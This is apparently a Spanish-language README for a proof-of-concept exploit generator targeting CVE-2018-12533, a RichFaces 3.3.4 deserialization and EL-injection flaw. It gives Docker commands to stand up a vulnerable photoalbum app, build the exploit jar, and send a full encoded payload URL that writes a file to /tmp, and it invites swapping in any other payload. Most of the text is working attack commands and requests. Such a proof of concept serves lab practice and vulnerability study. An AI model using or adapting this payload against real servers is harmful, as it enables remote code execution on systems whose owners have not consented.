
RF-14310 / CVE-2018-12533 - Generador de payloads
Basado en la investigación de Lucifaer
Todo el crédito va a https://github.com/Lucifaer
https://access.redhat.com/security/cve/cve-2018-12533
Prueba de concepto fácil de desplegar para practicar la explotación de deserialización de Richfaces 3.3.4 + inyección EL, sin tener que preocuparse demasiado por versiones antiguas de Java, etc.
Para ahorrarte algunos problemas al configurar una aplicación vulnerable, creé un Dockerfile basado en las instrucciones del artículo de seclist que explica CVE-2018-14667. Simplemente ejecuta los siguientes comandos en el directorio raíz del repositorio:
docker build -t richfaces-jboss .
docker run -p 8081:8080 richfaces-jboss
Si todo funciona, puedes acceder a la aplicación de prueba photoalbum de richfaces en http://127.0.0.1:8081/photoalbum
cd CVE-2018-12533
docker run -v ~/.m2:/root/.m2 -v $(pwd):/usr/src/app maven:3.5-jdk-8 mvn -f /usr/src/app/pom.xml clean package install
java -jar target/cve_2018_12533.jar
cambia la sección /DATA/XXXXX por tu payload si quieres hacer algo más que crear un archivo en /tmp. Este payload crea /tmp/hacked.txt http://127.0.0.1:8081/photoalbum/a4j/s/3_3_3.Finalorg.richfaces.renderkit.html.Paint2DResource/DATA/eAHNUk1r1UAUnfegVq2L-oEiItQo-goyKSJu6gOxFX2QWukTwbp4zEtuk2knM-nkpo0W3Qmi4satIOJKUBD9Be6k4KY!QQRxIYggLvVOUlssuDebXGbOnHPuufflVzaQW3bG2JhbGSZzIoScW9AR2AWJPMFU8StCajw1OQO5KWwIxzqpiGFSoGi!X!s4!OvF6yYb7LDtvX48YZSxHTbYmzM2FeiqBGScULWttywjTGbZjlCECYi-goAN9CKiQbYnmBdLwldCx!50fx5CHA!oReaEF9kd1igzVn9N-pWMNU6yjHwfd89KXrsOTZoZDRp5lzjhklHURFcsgb2--rb9-MmHqSZrBqSvRJ5fFin8rdtFK3VMujtzehNVHMj2186k8btgpVDylnM-XmZO!gRJ8rzQlQEFmHNQPIBYhDenABMTnZc6ItJ1740mawSskSI7VLGWPii!Bl4oMwt5Lo0m6n8xXxXxVvQf5l2UimUH6zjIxFbcG3!1waefpx9RfITbu4Hb1H1-9373--zaWYdwDo64lZjvm7xqaitfJ81U!9uBH0Pvdk85bTekoeWH7N7RFQuLBeTIY8AJl3RrdKMMjKCR0IGior70nBXuBs9nCo0yBa!C14Itj1g2z6VeMgvQ0oVSoxxKCFsemiJMRnxMMz8R4QJEHEv0Rm8zVlCfN6qca!r1-b5au!b5y-GVi1WfFF8T2b7KgzR8usCsQAKCoCENb1qrdzLLyuVn7OnIubGTYyNtLyQYwoTRSDvX!l8a98rfWVxP3w__.jsf
docker ps
docker exec -it <containerid> bash
ls /tmp
Al usar el exploit tal como viene, creará /tmp/cve_2018_12533, de esta manera puedes confirmar si el exploit funcionó.